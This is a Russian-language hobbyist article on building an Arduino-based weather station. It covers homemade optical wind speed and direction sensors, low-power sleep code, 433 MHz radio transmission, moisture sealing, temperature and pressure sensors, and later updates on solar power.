В качестве фотоизлучателей были выбраны светодиоды ИК-диапазона АЛ-107Б. Эти старинные светодиоды, конечно, не самые лучшие в своем классе, зато имеют миниатюрный корпус диаметром 2,4 мм и способны пропускать ток до 600 мА в импульсе. Между прочим, при испытаниях выяснилось, что образец этого светодиода около 1980 года выпуска (в корпусе красного цвета) имеет примерно вдвое большую эффективность (выразившуюся в дальности уверенной работы фотоприемника), чем современные экземпляры, купленные в «Чипе-Дипе» (они имеют прозрачный желтовато-зеленый корпус). Вряд ли в 1980 году кристаллы были лучше, чем сейчас, хотя чем черт не шутит? Возможно, однако, дело в разных углах рассеяния в том и другом оформлении.
Через светодиод в датчике скорости пропускался постоянный ток около 20 мА (резистор 150 Ом при питании 5 вольт), а в датчике направления — импульсный (меандр со скважностью 2) ток около 65 мА (те же 150 Ом при питании 12 вольт). Средний ток через один светодиод датчика направления при этом около 33 мА, всего через четыре канала — около 130 мА.
В качестве фотоприемников были выбраны фототранзисторы L-32P3C в корпусе диаметром 3 мм. Сигнал снимался с коллектора, нагруженного на резистор 1,5 или 2 кОм от питания 5 В. Эти параметры подобраны так, чтобы на расстоянии ~20 мм между фотоизлучателем и приемником на вход контроллера поступал сразу полноразмерный логический сигнал в 5-вольтовых уровнях без дополнительного усиления. Токи, фигурирующие здесь, могут показаться вам несоразмерно большими, если исходить из озвученного выше требования минимального энергопотребления, но как вы увидите, фигурируют они в каждом цикле измерения на протяжении максимум нескольких миллисекунд так, что общее потребление остается небольшим.
Основой для крепления приемников и излучателей послужили отрезки кабельного канала (видны на фото датчиков выше), вырезанные так, чтобы у основания образовать «ушки» для крепления на скобе. Для каждого из этих обрезков к запирающей крышке изнутри приклеивалась пластиковая пластинка, по ширине равная ширине канала. Светодиоды и фототранзисторы закреплялись на нужном расстоянии в отверстиях, просверленных в этой пластинке так, чтобы выводы оказались внутри канала, а наружу выступали только выпуклости на торце корпусов. Выводы распаиваются в соответствии со схемой (см. ниже), внешние выводы делаются обрезками гибкого разноцветного провода. Резисторы для излучателей датчика направления также размещаются внутри канала, от них делается один общий вывод. После распайки крышка защелкивается на место, все щели герметизируются пластилином и дополнительно липкой лентой, которой также закрывается отверстие со стороны, противоположной выводам, и вся конструкция заливается эпоксидной смолой. Внешние выводы, как можно видеть на фото датчиков, выводятся на клеммную колодку, закрепленную на тыльной стороне скобы.
**Принципиальная схема** блока обработки датчиков ветра выглядит так:
О том, откуда берется питание 12-14 вольт, см. далее. Кроме компонентов, указанных на схеме, выносной блок содержит датчик температуры-влажности, который на схеме не показан. Делитель напряжения, подключенный к выводу A0 контроллера, предназначен для контроля напряжения источника питания с целью своевременной замены. Светодиод, подключенный к традиционному выводу 13 (вывод 19 корпуса DIP) — суперяркий, для его нормального, не слепящего свечения достаточно тока в доли миллиампера, что и обеспечивается необычно высоким номиналом резистора 33 кОм.
В схеме используется «голый» контроллер Atmega328 в DIP-корпусе, запрограммированный через Uno и установленный на панельку. Такие контроллеры с уже записанным Arduino-загрузчиком, продаются, например, в «Чипе-Дипе» (или загрузчик можно [записать самостоятельно](http://wiki.amperka.ru/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-%D0%B8-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-arduino-ide:arduino-restore-bootloader-with-arduino)). Такой контроллер удобно программировать в привычной среде, но, лишенный компонентов на плате, он во-первых, получается экономичнее, во-вторых, занимает меньше места. Полноценный энергосберегающий режим можно было бы получить, избавившись и от загрузчика тоже (и вообще расписав весь код на ассемблере :), но здесь это не очень актуально, а программирование при этом неоправданно усложняется.
На схеме серыми прямоугольниками обведены компоненты, относящиеся отдельно к каналам скорости и направления. Рассмотрим функционирование схемы в целом.
Работа контроллера в целом управляется сторожевым таймером WDT, включенным в режиме вызова прерывания. WDT выводит контроллер из режима сна через заданные промежутки времени. В случае, если в вызванном прерывании таймер взводится заново, перезагрузки с нуля не происходит, все глобальные переменные остаются при своих значениях. Это позволяет накапливать данные от пробуждения к пробуждению и в какой-то момент обрабатывать их — например, усреднять.
В начале программы сделаны следующие объявления библиотек и глобальных переменных (чтобы не загромождать текст и без того обширных примеров, здесь выпущено все, что относится к датчику температуры-влажности):
```
#include
#include
#include
. . . . .
#define ledPin 13 //вывод светодиода (PB5 вывод 19 ATmega)
#define IR\_Pin 10 //управление транзистором IRLU (PB2 вывод 16 Atmega)
#define in\_3p 9 //вход приемника разряд 3
#define in\_2p 8 //вход приемника разряд 2
#define in\_1p 7 //вход приемника разряд 1
#define in\_0p 6 //вход приемника разряд 0
#define IR\_PINF 5 //(PD5,11) вывод для ИК-светодиода частоты
#define IN\_PINF 4 //(PD4,6) вход обнаружения частоты
volatile unsigned long ttime = 0; //Период срабатывания датчика
float ff[4]; //значения частоты датчика скорости для осреднения
char msg[25]; //посылаемый месседж
byte count=0;//счетчик
int batt[4]; //для осреднения батарейки
byte wDir[4]; //массив направлений ветра
byte wind\_Gray=0; //байт кода направления ветра
```
Для инициации режима сна и WDT (пробуждение каждые 4 с) служат следующие процедуры:
```
// перевод системы в режим сна
void system_sleep() {
ADCSRA &= ~(1 << ADEN); //экв. cbi(ADCSRA,ADEN); выключим АЦП
set_sleep_mode(SLEEP_MODE_PWR_DOWN); // режим сна
sleep_mode(); // система засыпает
sleep_disable(); // система продолжает работу после переполнения watchdog
ADCSRA |= (1 << ADEN); /экв. sbi(ADCSRA,ADEN); включаем АЦП
}
//****************************************************************
// ii: 0=16ms, 1=32ms,2=64ms,3=128ms,4=250ms,5=500ms
// 6=1 sec,7=2 sec, 8=4 sec, 9= 8sec
void setup_watchdog(int ii) {
byte bb;
if (ii > 9 ) ii=9;
bb=ii & 7;
if (ii > 7) bb|= (1<<5); //в bb - код периода
bb|= (1<
```
Датчик скорости выдает частоту прерывания оптического канала, порядок величин — единицы-десятки герц. Мерить такую величину экономичнее и быстрее через период (этому была посвящена публикация автора «[Оценка методов измерения низких частот на Arduino](https://geektimes.ru/post/286410/)»). Здесь выбран метод через модифицированную функцию pulseInLong(), который не привязывает измерение к определенным выводам контроллера (текст функции periodInLong() можно найти в указанной публикации).
В функции setup() объявляются направления выводов, инициализируются библиотека передатчика 433 МГц и сторожевой таймер (строка для IN\_PINF в принципе лишняя, и вставлена для памяти):
```
void setup() {
pinMode(IR_PINF, OUTPUT); //на выход
pinMode(IN_PINF, INPUT); //вывод обнаружения частоты на вход
pinMode(13, OUTPUT); //светодиод
vw_setup(1200); // скорость соединения VirtualWire
vw_set_tx_pin(2); //D2, PD2(4) вывод передачи VirtualWire
// Serial.begin(9600); // Serial-порт для контроля при отладке
setup_watchdog(8); //WDT период 4 c
wdt_reset();
}
```
Наконец, в основном цикле программы мы сначала каждый раз при пробуждении (каждые 4 секунды) считываем напряжение и рассчитываем частоту датчика скорости ветра:
```
void loop() {
wdt_reset(); //обнуляем таймер
digitalWrite(ledPin, HIGH); //включаем светодиод для контроля
batt[count]=analogRead(0); //читаем и сохраняем текущий код батарейки
/*=== частота ==== */
digitalWrite(IR_PINF, HIGH); //включаем ИК-светодиод датчика скорости
float f=0; //переменная для частоты
ttime=periodInLong(IN_PINF, LOW, 250000); //ожидание 0,25 сек
// Serial.println(ttime); //для контроля при отладке
if (ttime!=0) {//на случай отсутствия частоты
f = 1000000/float(ttime);} // вычисляем частоту сигнала в Гц
digitalWrite(IR_PINF, LOW); //выключаем ИК-светодиод
ff[count]=f; //сохраняем вычисленное значение в массиве
. . . . .
```
Время горения ИК-светодиода (потребляющего, напомню, 20 мА) здесь, как видите, будет максимальным при отсутствии вращения диска датчика и составляет при этом условии около 0,25 секунды. Минимальная измеряемая частота, таким образом, составит 4 Гц (четверть оборота диска в секунду при 16 отверстиях). Как выяснилось при калибровке датчика (см. далее), это соответствует примерно 0,2 м/с скорости ветра Подчеркнем, что это минимальная измеряемая величина скорости ветра, но не разрешающая способность и не порог трогания (который окажется гораздо выше). При наличии частоты (то есть при вращении датчика) время измерения (и, соответственно, время горения LED, то есть потребление тока) будет пропорционально уменьшаться, а разрешающая способность — увеличиваться.
Далее следуют процедуры, которые выполняются каждое четвертое пробуждение (то есть каждые 16 секунд). Значение частоты датчика скорости из накопленных четырех значений мы передаем не среднее, а максимальное — как показал опыт, это более информативная величина. Каждую из величин, независимо от ее типа, для удобства и единообразия мы перед передачей превращаем в целое положительное число размером в 4 десятичных разряда. За отсчетом числа пробуждений следит переменная count:
```
//каждые 16 сек усредняем батарейку и определяем максимальное значение
//частоты из 4-х значений:
if (count==3){
f=0; //значение частоты
for (byte i=0; i<4; i++) if (f
```
Далее — определение кода Грея направления. Здесь для снижения потребления вместо постоянно включенных ИК-светодиодов на все четыре канала одновременно через ключевой полевой транзистор с помощью функции tone() подается частота 5 кГц. Обнаружение наличия частоты на каждом из разрядов (выводы in\_0p – in\_3p) производится методом, аналогичным антидребезгу при считывании показаний нажатой кнопки. Сначала в цикле дожидаемся, имеется ли на выводе высокий уровень, и затем проверяем его через 100 мкс. 100 мкс есть полпериода частоты 5 кГц, то есть при наличии частоты минимум со второго раза мы опять попадем на высокий уровень (на всякий случай повторяем четыре раза) и это означает, что он точно там есть. Эту процедуру повторяем для каждого из четырех бит кода:
```
/* ===== Wind Gray ==== */
//направление:
tone(IR_Pin,5000);//частоту 5 кГц на транзистор
boolean yes = false;
byte i=0;
while(!yes){ //разряд 3
i++;
boolean state1 = (digitalRead(in_3p)&HIGH);
delayMicroseconds(100); // задержка в 100 микросекунд
yes=(state1 & !digitalRead(in_3p));
if (i>4) break; //пробуем четыре раза
}
if (yes) wDir[3]=1; else wDir[3]=0;
yes = false;
i=0;
while(!yes){ //разряд 2
i++;
boolean state1 = (digitalRead(in_2p)&HIGH);
delayMicroseconds(100); // задержка в 100 микросекунд
yes=(state1 & !digitalRead(in_2p));
if (i>4) break; //пробуем четыре раза
}
if (yes) wDir[2]=1; else wDir[2]=0;
yes = false;
i=0;
while(!yes){ //разряд 1
i++;
boolean state1 = (digitalRead(in_1p)&HIGH);
delayMicroseconds(100); // задержка в 100 микросекунд
yes=(state1 & !digitalRead(in_1p));
if (i>4) break; //пробуем четыре раза
}
if (yes) wDir[1]=1; else wDir[1]=0;
yes = false;
i=0;
while(!yes){ //разряд 0
i++;
boolean state1 = (digitalRead(in_0p)&HIGH);
delayMicroseconds(100); // задержка в 100 микросекунд
yes=(state1 & !digitalRead(in_0p));
if (i>4) break; //пробуем четыре раза
}
if (yes) wDir[0]=1; else wDir[0]=0;
noTone(IR_Pin); //выключаем частоту
//собираем в байт в коде Грея:
wind_Gray=wDir[0]+wDir[1]*2+wDir[2]*4+wDir[3]*8; //прямой перевод в дв. код
int wind_G=wind_Gray*10+1000; //дополняем до 4-х дес. разрядов
. . . . .
```
Максимальная длительность одной процедуры будет при отсутствии частоты на приемнике и равна 4×100 = 400 микросекунд. Максимальное время горения 4-х светодиодов направления будет тогда, когда не засвечен ни один приемник, то есть 4×400 = 1,6 миллисекунды. Алгоритм, кстати, точно так же будет работать, если вместо частоты, период которой кратен 100 мкс, просто подать постоянный высокий уровень на светодиоды. При наличии меандра вместо постоянного уровня мы просто экономим питание вдвое. Мы можем еще сэкономить, если завести каждый ИК-светодиод через отдельную линию (соответственно, через отдельный вывод контроллера со своим ключевым транзистором), но зато при этом усложняется схема, разводка и управление, а ток в 130 мА в течение 2 мс каждые 16 секунд — это, согласитесь, немного.
Наконец, **беспроводная передача данных**. Для передачи данных от места установки датчиков до табло метеостанции был выбран самый простой, дешевый и надежный способ: [пара передатчик/приемник на частоте 433 МГц](https://lib.chipdip.ru/398/DOC001398086.jpg). Согласен, способ не самый удобный (из-за того, что девайсы рассчитаны на передачу битовых последовательностей, а не целых байтов, приходится изощряться в конвертации данных между нужными форматами), и уверен, что многие со мной захотят поспорить в плане его надежности. Ответ на последнее возражение простой: «ты просто не умеешь их готовить!».
Секрет в том, что обычно остается за кадром различных описаний обмена данными по каналу 433 МГц: поскольку приборы эти чисто аналоговые, то питание приемника должно быть очень хорошо очищено от любых посторонних пульсаций. Ни в коем случае не следует питать приемник от внутреннего 5-вольтового стабилизатора Arduino! Установка для приемника отдельного маломощного стабилизатора (LM2931, LM2950 или аналогичного) непосредственно поблизости от его выводов, с правильными цепями фильтрации на входе и выходе, радикально повышает дальность и надежность передачи.
В данном случае передатчик работал непосредственно от напряжения аккумулятора 12 В, приемник и передатчик были снабжены стандартными самодельными антеннами в виде отрезка провода длиной 17 см. (Напомню, что провод для антенн пригоден только одножильный, а размещать антенны в пространстве необходимо параллельно друг другу.) Пакет информации длиной в 24 байта (с учетом влажности и температуры) без каких-то проблем уверенно передавался со скоростью 1200 бит/с по диагонали через садовый участок 15 соток (около 40-50 метров), и затем через три бревенчатых стенки внутрь помещения (в котором, например, сотовый сигнал принимается с большим трудом и не везде). Условия, практически недостижимые для любого стандартного способа на 2,4 ГГц (типа Bluetooth, Zig-Bee и даже любительский Wi-Fi), притом, что потребление передатчика здесь составляет жалкие 8 мА и только в момент собственно передачи, остальное время передатчик потребляет сущие копейки. Передатчик конструктивно размещен внутри выносного блока, антенна торчит сбоку горизонтально.
Объединяем все данные в один пакет (в реальной станции к нему добавятся еще температура и влажность), состоящий из единообразных 4-байтных частей и предваряемый сигнатурой «DAT», отправляем его на передатчик и завершаем все циклы:
```
/*=====Transmitter=====*/
String strMsg="DAT"; //сигнатура - данные
strMsg+=volt; //присоединяем батарейку 4 разряда
strMsg+=wind_G; //присоединяем wind 4 разряда
strMsg+=fi; //присоединяем частоту 4 разряда
strMsg.toCharArray(msg,16); //переводим строку в массив
// Serial.println(msg); //для контроля
vw_send((uint8_t *)msg, strlen(msg)); // передача сообщения
vw_wait_tx(); // ждем завершения передачи - обязательно!
delay(50); //+ еще на всякий случай задержка
count=0; //обнуляем счетчик
}//end count==3
else count++;
digitalWrite(ledPin, LOW); //гасим сигнальный светодиод
system_sleep(); //систему — в сон
} //end loop
```
Размер пакета можно сократить, если отказаться от требования представления каждой из величин разнообразных типов в виде единообразного 4-байтового кода (например, для кода Грея, конечно, хватит и одного байта). Но универсализации ради я оставил все как есть.
**Питание и особенности конструкции выносного блока**. Потребление выносного блока подсчитываем таким образом:
— 20 мА (излучатель) + ~20 мА (контроллер со вспомогательными цепями) в течение примерно 0,25 с каждые четыре секунды — в среднем 40/16 = 2,5 мА;
— 130 мА (излучатели) + ~20 мА (контроллер со вспомогательными цепями) в течение примерно 2 мс каждые 16 секунд — в среднем 150/16/50 ≈ 0,2 мА;
Накинув на этот расчет потребление контроллера при съеме данных с датчика температуры-влажности и при работе передатчика, смело доводим среднее потребление до 4 мА (при пиковом около 150 мА, заметьте!). Батарейки (которых, кстати, потребуется аж 8 штук для обеспечения питания передатчика максимальным напряжением!) придется менять слишком часто, потому возникла идея питать выносной блок от 12-вольтовых аккумуляторов для шуруповерта — их у меня образовалось как раз две штуки лишних. Емкость их даже меньше, чем соответствующего количества АА-батареек — всего 1,3 А•часа, но зато никто не мешает их менять в любое время, держа наготове второй заряженный. При указанном потреблении 4 мА емкости 1300 мА•часов хватит примерно на две недели, что получается не слишком хлопотно.
Отметим, что напряжение свежезаряженного аккумулятора может составить до 14 вольт. На этот случай поставлен входной стабилизатор 12 вольт — чтобы не допустить перенапряжений питания передатчика и не перегружать основной пятивольтовый стабилизатор.
Выносной блок в подходящем пластиковом корпусе размещается под крышей, к нему на разъемах подведен кабель питания от аккумулятора и соединения с датчиками ветра. Основная сложность в том, что схема оказалась крайне чувствительной к влажности воздуха: в дождливую погоду уже через пару часов начинает сбоить передатчик, измерения частоты показывают полную кашу, а измерения напряжения аккумулятора показывают «погоду на Марсе».
Поэтому после отладки алгоритмов и проверки всех соединений корпус необходимо тщательно герметизировать. Все разъемы в месте входа в корпус промазываются герметиком, то же самое касается всех головок винтов, торчащих наружу, выхода антенны и кабеля питания. Стыки корпуса промазываются пластилином (с учетом того, что их придется разнимать), и дополнительно проклеиваются сверху полосками сантехнического скотча. Неплохо дополнительно аккуратно укрепить эпоксидкой используемые разъемы внутри: так, указанный на схеме выносного модуля [DB-15](https://www.chipdip.ru/product/db-15m) сам по себе не герметичен, и между металлическим обрамлением и пластиковой основой будет медленно просачиваться влажный воздух.
Но все эти меры сами по себе дадут только кратковременный эффект — даже если не будет подсоса холодного влажного воздуха, то сухой воздух из комнаты легко превращается во влажный при падении температуры снаружи корпуса (вспомните про явление, называемое «точка росы»).
Чтобы этого избежать, необходимо внутри корпуса оставить патрончик или мешочек с влагопоглотителем — силикагелем (мешочки с ним иногда вкладывают в коробки с обувью или в некоторые упаковки с электронными устройствами). Если силикагель неизвестного происхождения и долго хранился, его перед использованием необходимо прокалить в электродуховке при 140-150 градусах несколько часов. Если корпус герметизирован как следует, то менять влагопоглотитель придется не чаще, чем в начале каждого дачного сезона.
### Основной модуль
В основном модуле все величины принимаются, расшифровываются, если надо, преобразуются в соответствии с калибовочными уравнениями и выводятся на дисплеи.
Приемник вынесен за пределы корпуса основного модуля станции и помещен в маленькую коробочку с ушками для крепления. Антенна выведена через отверстие в крышке, все отверстия в корпусе загерметизированы сырой резиной. Контакты приемника выведены на очень надежный отечественный разъем типа РС-4, со стороны приемника он подключен через отрезок сдвоенного экранированного AV-кабеля:
По одной из жил кабеля снимается сигнал, по другой подается питание в виде «сырых» 9 вольт от адаптера питания модуля. Стабилизатор типа LM-2950-5.0 вместе с фильтрующими конденсаторами установлен в коробочке вместе с приемником на отдельной платке.
Производились эксперименты по увеличению длины кабеля (на всякий случай — вдруг через стенку не заработало бы?), в которых выяснилось, что в пределах длины до 6 метров ничего не меняется.
Дисплеев типа OLED всего четыре: два желтых обслуживают метеоданные, два зеленых часы и календарь. Размещение их показано на фото:
Обратите внимание, что в каждой группе один из дисплеев — текстовый, второй — графический, с искусственно созданными шрифтами в виде картинок глифов. Здесь мы в дальнейшем на вопросе вывода информации на дисплеи останавливаться не будем, чтобы не раздувать и без того обширный текст статьи и примеров: из-за наличия картинок глифов, которые приходится выводить индивидуально (зачастую простым перечислением вариантов путем оператора case) программы вывода могут быть весьма громоздки. О том, как обращаться с таким дисплеями, см. публикацию автора «[Графический и текстовый режим дисплеев Winstar](https://geektimes.ru/post/287234/)», где есть в том числе и пример дисплея для вывода данных ветра.
**Принципиальная схема.** Часы и их дисплеи для удобства настройки обслуживаются отдельным контроллером Arduino Mini и больше мы их здесь разбирать не будем. Схема подключения компонентов к Arduino Nano, управляющим приемом и выводом метеоданных, следующая:
Здесь, в отличие от выносного модуля, показано подключение метеодатчиков — барометра и внутреннего датчика температуры-влажности. Следует обратить внимание на разводку питания — дисплеи питаются от отдельного стабилизатора 5 В типа LM1085. От него же естественно запитать дисплеи часов, однако в этом случае контроллер часов также должен питаться от этого же напряжения, причем через вывод 5 В, а не Vin (для Mini Pro последний называется RAW). Если запитать контроллер часов так же, как Nano — 9 вольтами через вывод RAW, то его внутренний стабилизатор будет конфликтовать с внешними 5-ю вольтами и в этой борьбе, естественно, победит сильнейший, то есть LM1085, а Mini останется вовсе без питания. Также во избежание всяческих неприятностей перед программированием Nano и особенно Mini (то есть перед подключением USB-кабеля) внешний адаптер следует отключать.
На стабилизаторе LM1085 при подключении всех четырех дисплеев будет выделяться мощность около ватта, потому его следует установить на маленький радиатор около 5-10 см2 из алюминиевого или медного уголка.
Прием и обработка данных. Здесь я воспроизвожу и комментирую только фрагменты программы, относящиеся к данным ветра, о других датчиках несколько слов далее.
Для приема сообщения по каналу 433 МГц применим стандартный способ, описанный во множестве источников. Подключаем библиотеку и объявляем переменные:
```
#include
. . . . .
int volt; //напряжение акуумулятора в условном целом коде
float batt; //реальная величина — напряжение аккумулятора
byte wDir; //направление в коде Грея
uint16\_t t\_time = 0; //интервал времени приема
char str[5]; //строка для данных
uint8\_t buf[VW\_MAX\_MESSAGE\_LEN]; //переменная для принятого сообщения
uint8\_t buflen = VW\_MAX\_MESSAGE\_LEN; // max длина принятого сообщения
. . . . .
```
С величиной размера буфера buflen связана одна особенность: объявить ее значение (VW\_MAX\_MESSAGE\_LEN) один раз в начале программы недостаточно. Так как в функции приема (см. далее) эта переменная фигурирует по ссылке, то размер сообщения по умолчанию приходится обновлять каждый цикл. Иначе из-за приема испорченных сообщений значение buflen будет каждый раз укорачиваться, пока вы не начнете получать всякую чушь вместо данных. В примерах обе эти переменные обычно объявляют локально в цикле loop(), потому размер буфера обновляется автоматически, а здесь мы просто будем повторять присваивание нужного значения в начале каждого цикла.
В процедуре setup делаем следующие установки:
```
void setup() {
delay (500); //для устаканивания питания дисплеев
pinMode(16,INPUT_PULLUP); //вывод для кнопки
vw_setup(1200); // Скорость соединения VirtualWire
vw_set_rx_pin(17); //A3 Вывод приемника VirtualWire
. . . . .
```
Перед тем, как что-то принимать, проверяется интервал времени t\_time, прошедшего с последнего приема. Если он превысил разумные пределы (например, 48 секунд — трехкратное время повтора сообщений с внешнего блока), то это воспринимается, как потеря датчика и каким-то образом индицируется на дисплее:
```
void loop() {
vw_rx_start(); // Готовность приема
buflen = VW_MAX_MESSAGE_LEN; //размер буфера каждый раз заново
if ((int(millis()) - t_time) > 48000) //если t_time не обновлялось более 48 сек
{
<отображаем прочерк на дисплее>
}//end датчик не найден
if (vw_have_message()) { //ждем приема
if (vw_get_message(buf, &buflen)) // Если данные приняты
{
vw_rx_stop(); //останавливаем прием на время
t_time = millis(); //обновляем t_time
for (byte i=0;i<3;i++) // Получить первые три байта
str[i]= buf[i];
str[3]='\0';
if((str[0]=='D')&&(str[1]=='A')&&(str[2]=='T')) { //сигнатура принята
//принимаем данные:
for (byte i=3;i<7;i++) // извлечь четыре байта аккумулятора
str[i-11]= buf[i]; // упаковать их в строку
volt=atoi(str); //преобразовать в целое число
volt=(volt/10)-100; //удаляем добавки до 4-х байт
batt=float(volt)/55.5; //преобразуем в реальный вид напряжения в вольтах
//и пока храним в глобальной переменной
for (byte i=7;i<11;i++) // извлечь четыре байта направления
str[i-15]= buf[i]; // упаковать их в строку
int w_Dir=atoi(str); //преобразовать в целое число
w_Dir=(w_Dir-1000)/10; //возвращаем к исходному виду
wDir=lowByte(w_Dir); //младший байт - код Грея
<выводим направление на дисплей через оператор case>
. . . . .
```
Коэффициент 55.5 — пересчет значения кода АЦП в реальное напряжение, его величина зависит от опорного напряжения и величин резисторов делителя.
Кстати, код Грея имеет одну особенность: в нем неважен порядок бит, все свои свойства код сохраняет при любой их перестановке. А так как при расшифровке мы здесь все равно рассматриваем каждый случай отдельно, то биты можно рассматривать в любом порядке и даже путать при подключении. Другое дело, если бы захотели это дело как-то упорядочить — например, создать массив значений направления («с», «ссз», «сз», «зсз», «з» и т.д.), и вместо индивидуального рассмотрения каждого варианта извлекать обозначения по номеру в этом массиве. Тогда пришлось бы преобразовывать код Грея в упорядоченный двоичный, и порядок бит играл бы существенную роль.
И, наконец, извлекаем значение скорости и закрываем все операторы:
```
. . . . .
for (byte i=19;i<23;i++) // Получить четыре байта частоты
str[i-19]= buf[i]; // упаковать их в строку
int wFrq=atoi(str); //преобразовать в целое число
wFrq = (wFrq-1000)/10; //удаляем добавки до 4-х байт
wFrq=10+0.5*wFrq;//скорость в целом виде с десятыми
<отображаем ее на дисплее поразрядно>
}//end if str=DAT
}//end vw_get_message
} //end vw_have_message();
. . . . .
```
Здесь 10+0.5\*wFrq — калибровочное уравнение. 10 дм/с (то есть 1.0 метра в секунду) есть порог трогания, а 0,5 — коэффициент пересчета частоты в скорость (в дм/сек). При нулевом значении входной частоты это уравнение выдает 10 дм/с, потому следует отдельно позаботиться, чтобы при этом выводить не 1 м/с, а именно нулевое значение. Калибровать датчик скорости можно с помощью любого самого дешевого ручного анемометра и настольного вентилятора. Не пытайтесь определить порог трогания экспериментально — гораздо точнее получится, если отметить две-три точки калибровочной прямой значения скорости V от частоты F: V = Vп + K×F при разных скоростях потока, тогда порог трогания определится автоматически, как величина Vп (ордината точки пересечения этой прямой с осью скоростей).
Перед тем, как закрыть основной цикл, нужно сделать еще одну вещь. Напряжение аккумулятора у нас имеется, но выводить на дисплей все время его не нужно — только место занимать. Для этого и нужна кнопка Кн1 — нажимая на нее, мы временно (до следующего обновления данных) заменяем строку внешней температуры-влажности значением напряжения:
```
. . . . .
if (digitalRead(16)==LOW){ //кнопка нажата
<выводим напряжение на дисплей, затирая значение температуры-влажности>
}//конец кнопка
delay(500);
}//конец loop
```
Кнопка у меня была, как видно из схемы, с перекидным контактом, но ничто не мешает установить обычную с замыкающим, подключив ее к питанию через резистор. Можно также добавить к этому мигание символов на дисплее в случае, если напряжение аккумулятора снизится ниже, например, 10 вольт, как знак, что его пора менять.
**В заключение о метеодатчиках.** В качестве наружного датчика был [использован SHT-75](https://www.chipdip.ru/product/sht75-1) — единственный из найденных мной любительских датчиков, который не требует калибровки и показывает реальные величины и температуры и влажности прямо «из коробки» (отсюда и его высокая цена).
Библиотеку для его подключения можно найти [тут](https://github.com/domhardt/ArduinoLibraries/tree/master/Sensirion).
Сконструирован SHT-75 довольно по-дурацки: металлическая подложка платы отлично проводит тепло, потому его необходимо целиком выносить за пределы корпуса. Иначе наличия одного только контроллера типа ATmega328 со стабилизатором питания в замкнутом корпусе достаточно, чтобы через подложку платы подогреть датчик на пару градусов даже в случае, если его головка вынесена наружу. Моя схема с датчиками ветра, с ее токами в 20-130 мА (пусть даже текущими ничтожные миллисекунды) подогревала SHT-75 градусов на пять, поэтому он был вынесен наружу и установлен отдельно на пластиковую пластину, торчащую из корпуса вбок.
Данные с SHT-75 снимаются тем же контроллером, что и данные датчиков ветра, и посылаются из выносного модуля в едином пакете через беспроводной канал 433 МГц. Для передачи предварительно они также приводятся к формату 4-байтовой строки.
Для измерения температуры и влажности внутри помещения был выбран банальный DHT-22 — поскольку диапазон там невелик в сравнении с улицей, то совершено безразлично, какой датчик использовать (кроме, разумеется, DHT-11, который вообще использовать не следует ни при каких обстоятельствах, в целевом назначении он просто неработоспособен). Температура DHT-22 была подправлена по измерениям ртутным термометром (с SHT-75 они полностью совпали!), а влажность слегка подрихтована сравнением с SHT-75. Поправки вводятся непосредственно перед индикацией на дисплее.
Кстати, DHT-22 тоже необходимо выносить подальше от корпуса с дисплеями — иначе он будет неизбежно подогреваться и врать. Я его закрепляю на пластиковом креплении внизу корпуса, на расстоянии миллиметров десять от него. Это обстоятельство, кстати, как я подозреваю, одна из причин (кроме отсутствия индивидуальной калибровки) того, что все фирменные бытовые метеостанции RST и Oregon безбожно врут в показаниях, имея разброс даже сами с собой (внутренний датчик с наружным) в два-три градуса и до десятка процентов влажности.
**Барометр** не представляет проблем, поскольку почти все имеющиеся в продаже сделаны на одной и той же основе — микроэлектромеханической (MEMS) микросхеме BMP180 или ее модификациях. Мой личный опыт попытки использования более редко встречающейся разновидности на основе LPS331AP был отрицательным: библиотеку для нее найти труднее, и в довершение был обнаружен конфликт с другими устройствами на I2C-шине. Показания барометра, возможно, придется подогнать по месту установки — каждые 10-12 метров высоты над уровнем моря снижают давление на 1 мм.рт. ст. Поэтому из показаний придется вычесть (или добавить) некую величину, чтобы величина давления соответствовала показаниям официальной метеостанции в данной местности.
Полностью все программы метеостанции я не привожу — они довольно громоздкие, а повторить конструкцию один в один вам все равно не удастся. Если что, стучитесь в личку.
**UPD от 30.06.17.** Установил питание от солнечной батареи. Комплект отсюда:
[солнечная панель](http://invertory.ru/product/solnechnyj-modul-exmork-10-vatt-12v/)
[контроллер](http://invertory.ru/product/kontroller-epsolar-ls0512/)
[АКБ](http://invertory.ru/product/delta-hr-12-5/)
Все вместе + доставка по Москве в пределах 2,5 тыр. Работает безупречно.
Интересна методика подсчета мощности солнечной батареи и АКБ, которую предлагают консультанты с этого сайта. Пример расчета на 3 Вт потребляемой мощности (у меня гораздо меньше), цитирую:
«3Вт умножаем на 24ч и делим на 6 = 12Ач это минимальная емкость аккумулятора
3Вт умножаем на 24ч и делим на 3ч = 24Вт это минимальная мощность солнечной батареи»
Без комментариев.
В моем случае получившаяся мощность солнечной энергоустановки в десятки раз превышает необходимую при самых плохих погодных условиях. Поэтому в контроллере датчика можно особо не заботиться об энергосбережении, и применить любые необходимые частоты снятия показаний и осреднения величин.
**UPD от 13.09.18.** За почти два сезона эксплуатации выявились сильные и слабые стороны станции. Слабые — прежде всего то, что цикл обновления показаний в 16 секунд (из четырех серий измерений), как это было изначально, слишком длинный. Установка солнечной батареи с буферным аккумулятором позволила не думать об энергосбережении и поиграться с длительностью цикла. В результате цикл был установлен в 8 секунд (четыре измерения через две секунды).
Из механических усовершенствований был введен твердый подпятник под острие датчика скорости (да, меня еще тогда предупреждали о его необходимости, но я тогда не придумал, как его сделать). Через некоторое время ось датчика полностью пропилила фторопластовую опору и порог трогания резко возрос (на чувствительности флюгера это, кстати, совершенно не сказалось). Потому опора была заменена на подпятник из нержавейки, в котором тонким сверлом сделано небольшое углубление. Предчувствую, что придется потом еще что-то придумывать с острием, которое, как и вся ось, сделано из дюраля. Но я отложил это до момента, когда датчик все равно придется переделывать: лазерный диск, взятый за основу конструкции, за два сезона помутнел от солнца и начал растрескиваться.
**UPD от 05.06.19.**
